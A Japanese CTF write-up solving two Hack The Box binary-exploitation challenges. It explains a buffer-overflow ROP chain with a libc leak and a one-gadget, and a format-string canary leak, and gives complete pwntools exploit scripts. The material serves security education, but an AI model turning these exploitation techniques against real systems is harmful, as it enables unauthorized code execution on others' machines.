<Cyber Santa is Coming to Town> Writeup
はじめに
12 月 1 日(水)22 : 00 ~ 12 月 6 日(月)4 : 00 に行われていた Hack The Box 主催の CTF 、Cyber Santa is Coming to Town に参加しました。
5 ジャンル × 5 問ずつ出題されました。Pwn 5 問のうち最後の 2 問の Writeup をちょっとだけ書きます。
結果
Minimelfistic
実行ファイルと libc が配布されました。サンタが家に帰ってきたタイミングでアラームか何かを消してもらいます。
$ ./chall [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [!] Santa returned! [*] Hello 🎅! Do you want to turn off the 🚨? (y/n) > y [!] For your safety, the 🚨 will not be deactivated! [*] Santa is not home!
$ checksec chall [*] '/home/hasuke/Downloads/minimelfistic/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.'
サンタが帰ってきて質問してきますが、これに返答する際に BOF を起こせます。
攻撃の流れは、
write()
を用いて libc leak → そのままmain()
に返る → リークした値を利用して、もう一度 ROP をしてシェルをとる
という感じです。
write()
を呼ぶ時に第 3 引数まで設定する必要がありますが、それには__libc_csu_init()
の一部が利用できます。
0x0000000000400a20 <+64>: mov rdx,r15 0x0000000000400a23 <+67>: mov rsi,r14 0x0000000000400a26 <+70>: mov edi,r13d 0x0000000000400a29 <+73>: call QWORD PTR [r12+rbx*8] 0x0000000000400a2d <+77>: add rbx,0x1 0x0000000000400a31 <+81>: cmp rbp,rbx 0x0000000000400a34 <+84>: jne 0x400a20 <__libc_csu_init+64> 0x0000000000400a36 <+86>: add rsp,0x8 0x0000000000400a3a <+90>: pop rbx 0x0000000000400a3b <+91>: pop rbp 0x0000000000400a3c <+92>: pop r12 0x0000000000400a3e <+94>: pop r13 0x0000000000400a40 <+96>: pop r14 0x0000000000400a42 <+98>: pop r15 0x0000000000400a44 <+100>: ret
具体的には、write(1, addr_got_write, 16)
と設定するために、
0x400a3a に入り、rbx、rbp、r12、r13、r14、r15 にそれぞれ 0、1、write()
の GOT アドレス、1 、write()
の GOT アドレス、16 を入れた後、 0x400a20 にリターンします。
すると rdx、rsi、edi にそれぞれ適切な値を設定した上でwrite()
を呼べ、さらに 0x400a34 の分岐を通り抜け、すきな関数にリターンできます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '46.101.85.29' #PORT = 31882 binf = ELF(bin_file) libc = ELF('./libc.so.6') def attack(io, **kwargs): exploit = p64(0x39) exploit += b'a' * 0x40 exploit += p64(0x400a3a) exploit += p64(0) exploit += p64(1) exploit += p64(binf.got['write']) exploit += p64(1) exploit += p64(binf.got['write']) exploit += p64(16) exploit += p64(0x400a20) exploit += b'0' * 0x38 exploit += p64(binf.sym.main) io.sendlineafter('> ', exploit) io.recvline() io.recvline() io.recvline() leak = unpack(io.recvuntil(b'\x00'), 'all') libc.address = leak - libc.sym.write info('libc_base = 0x{:08x}'.format(libc.address)) onegad = [0x4f3d5, 0x4f432, 0x10a41c] addr_onegad = libc.address + onegad[0] io.sendlineafter('> ', p64(57) + b'a'*0x40 + p64(addr_onegad)) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
Music Notes
サンタの楽譜が悪い奴らに書き換えられて、それを修正してあげるっていう設定です。実行ファイルと libc が配布されました。
こんなふうに 5 回連続で正しい音を当てれば名前とプレゼントを入力できます。
$ ./chall 🎵 🎻 Jingle bells, jingle bells, jingle...? 🎸 🎵 .------. _______ __ ( X X ) / ------. / ._`_ \ X X / | / ~--~ \ / X X \ | | __ `.____________________ _^-----^ ( ) | | IX|XXXXXXX/--\XXXXXXXXXXXXXXXXXXXXXXXXX| o o o | `-||-' \ | IX|XXXXXXX\__/XXXXXXXXXXXXXXXXXXXXXXXXX|_o_o_o_| || \ .---. . || -----' ~~'' || () Choose note: 1. B 2. D > 2 Choose note: 1. D 2. B > 2 Choose note: 1. A 2. G > 1 Choose note: 1. G 2. B > 1 Choose note: 1. D 2. B > 1 [+] You collected all the notes! [*] Tell me your name so that you can receive your 🎁! > hoge [*] So, your name is: hoge [*] What a nice name! Tell me what would you like as a 🎁: huga [*] 🎅 will prepare your gift soon!
$ checksec chall [*] '/home/hasuke/Downloads/music_notes/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.'
正しい音は D - B - A - G - D です。
利用する脆弱性は、
① 名前を確かめてくるところの FSB と
② プレゼントを入力するところの BOF(変数 present のサイズは 40 バイト)
です。
read(0,name,(long)(local_84 + -1)); printf("\n[*] So, your name is: "); printf(name); printf(&DAT_001013b8); read(0,present,0x6e);
① で canary と__libc_start_main() + 231
のアドレスをリークしてから、② で ROP をします。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '159.65.88.143' #PORT = 30280 binf = ELF(bin_file) libc = ELF('./libc.so.6') notes = ['D', 'B', 'A', 'G', 'D'] def choose_notes(io, i): io.recvuntil('note:') io.recvline() io.recv(3) if notes[i] == io.recv(1).decode(): io.sendlineafter('> ', '1') else: io.sendlineafter('> ', '2') def attack(io, **kwargs): for i in range(5): choose_notes(io, i) fsa = '%41$p_%43$p' io.sendlineafter('> ', fsa) io.recvuntil('0x') canary = int(io.recv(16), 16) io.recv(3) leak = int(io.recv(12), 16) libc.address = leak - 231 - libc.sym.__libc_start_main info('libc_base is 0x{:08x}'.format(libc.address)) onegad = [0x4f3d5, 0x4f432, 0x10a41c] addr_onegad = libc.address + onegad[1] exploit = b'a' * 0x28 exploit += p64(canary) exploit += b'a' * 0x38 exploit += p64(addr_onegad) io.recvuntil('like') io.sendafter(': ', exploit) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()